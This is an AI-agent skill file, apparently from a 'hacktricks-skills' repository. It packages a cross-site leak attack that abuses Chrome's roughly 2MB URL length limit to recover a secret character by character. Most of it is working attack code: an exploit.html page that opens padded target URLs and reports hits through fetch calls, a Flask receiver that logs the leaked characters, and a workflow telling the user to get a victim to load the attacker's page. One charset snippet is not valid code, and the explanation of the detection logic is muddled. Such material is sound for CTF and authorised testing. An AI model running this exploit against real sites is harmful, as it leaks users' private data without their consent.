Hacktricks-skills url-length-exploit

Exploit browser URL length limits (Chrome's 2MB limit) to leak secrets character-by-character. Use this skill whenever you need to extract hidden data from URLs, CTF challenges involving URL-based secrets, or when you suspect a target is vulnerable to URL length overflow attacks. This is especially useful for CTF writeups, pentesting web applications, or when you encounter challenges with URL-based secret leakage. Make sure to use this skill when you see URL-based secret challenges, CTF writeups mentioning URL limits, or any scenario where you need to extract data through URL manipulation.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/xs-search/url-max-length-client-side/SKILL.MD
source content

URL Length Exploit - Client Side

This skill helps you exploit browser URL length limits to leak secrets character-by-character. Chrome has a 2MB URL limit, and when a URL exceeds this limit, the browser fails to load it. We can use this to determine which characters are part of a secret.

How It Works

  1. The Vulnerability: Browsers have maximum URL length limits (Chrome: ~2MB). When a URL exceeds this limit, the browser cannot load it.

  2. The Exploit: We construct URLs that are just under the limit, then try adding each possible character. If the URL loads successfully, that character is NOT part of the secret. If it fails, that character IS part of the secret.

  3. Detection: We use

    window.open()
    and check if
    w.origin
    throws an error. If it does, the URL was too long and the character is part of the secret.

Exploit Template

Client-Side Exploit (exploit.html)

<html>
  <body></body>
  <script>
    ;(async () => {
      // Base URL with the secret prefix
      const curr = "http://target.com/search?query=SECRET_PREFIX{";

      // Function to test each character
      const leak = async (char) => {
        // Send request to track which character we're testing
        fetch("/api/try=" + char);
        
        // Open URL with character + padding to reach 2MB limit
        let w = window.open(
          curr + char + "#" + "A".repeat(2 * 1024 * 1024 - curr.length - 2)
        );

        // Check if URL loaded successfully
        const check = async () => {
          try {
            w.origin; // Throws if URL is too long
          } catch {
            // URL too long - this character is part of the secret!
            fetch("/api/nope=" + char);
            return;
          }
          setTimeout(check, 100);
        };
        check();
      }

      // Character set to test (adjust based on the challenge)
      const CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789";

      // Test each character
      for (let i = 0; i < CHARSET.length; i++) {
        leak(CHARSET[i]);
        await new Promise((resolve) => setTimeout(resolve, 50));
      }
    })();
  </script>
</html>

Server-Side Receiver (for CTF/pentesting)

from flask import Flask, request

app = Flask(__name__)

CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
chars = []

@app.route('/', methods=['GET'])
def index():
    global chars

    nope = request.args.get('nope', '')
    if nope:
        chars.append(nope)

    remaining = [c for c in CHARSET if c not in chars]

    print("Remaining: {}".format(remaining))

    return "OK"

@app.route('/exploit.html', methods=['GET'])
def exploit():
    return open('exploit.html', 'r').read()

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=1337)

Adaptation Guide

1. Adjust the Base URL

Change

curr
to match your target:

const curr = "http://target.com/path?param=SECRET_PREFIX{";

2. Modify the Character Set

Adjust

CHARSET
based on what characters the secret might contain:

// Common CTF flag format
const CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}";

// URL-safe characters
const CHARSET = "abcdefghijklmnopqrstuvwxyz-_.~0123456789";

// Full ASCII
const CHARSET = "!".charCodeAt(0) to "~".charCodeAt(0) // programmatically generate

3. Handle Different URL Length Limits

Different browsers have different limits:

  • Chrome: ~2MB (2 * 1024 * 1024 bytes)
  • Firefox: ~64KB
  • Safari: ~80KB

Adjust the padding calculation:

const URL_LIMIT = 2 * 1024 * 1024; // Chrome
const padding = "A".repeat(URL_LIMIT - curr.length - 2);

4. Add Error Handling

For production use, add timeout handling:

const check = async () => {
  try {
    w.origin;
  } catch {
    fetch("/api/nope=" + char);
    return;
  }
  setTimeout(check, 100);
};

// Add timeout
setTimeout(() => {
  console.log("Timeout for character:", char);
}, 5000);

Usage Scenarios

CTF Challenges

  • Look for challenges with URL-based secrets
  • Check for hints about URL length or browser limits
  • Common in web exploitation categories

Pentesting

  • Test web applications for URL length vulnerabilities
  • Check if sensitive data is exposed via URL parameters
  • Verify proper input validation on URL parameters

Research

  • Understand browser security limitations
  • Document URL-based attack vectors
  • Create proof-of-concept exploits

Important Notes

  1. Cross-Origin Restrictions: The exploit requires the target to be same-origin or have CORS enabled.

  2. Browser Compatibility: Different browsers have different URL length limits. Test on the target browser.

  3. Rate Limiting: Add delays between requests to avoid triggering rate limits.

  4. Ethical Use: Only use this technique on systems you have permission to test.

Example Workflow

  1. Identify the target: Find a URL with a secret prefix (e.g.,
    ?query=FLAG{
    )
  2. Set up the server: Run the Flask receiver to track leaked characters
  3. Deploy the exploit: Host
    exploit.html
    on a server you control
  4. Trigger the exploit: Get the target to load your exploit page
  5. Collect results: Monitor the server logs for leaked characters
  6. Reconstruct the secret: Combine the leaked characters in order

References

  • Original CTF Writeup
  • Chrome URL length limit: ~2MB
  • Firefox URL length limit: ~64KB
  • Safari URL length limit: ~80KB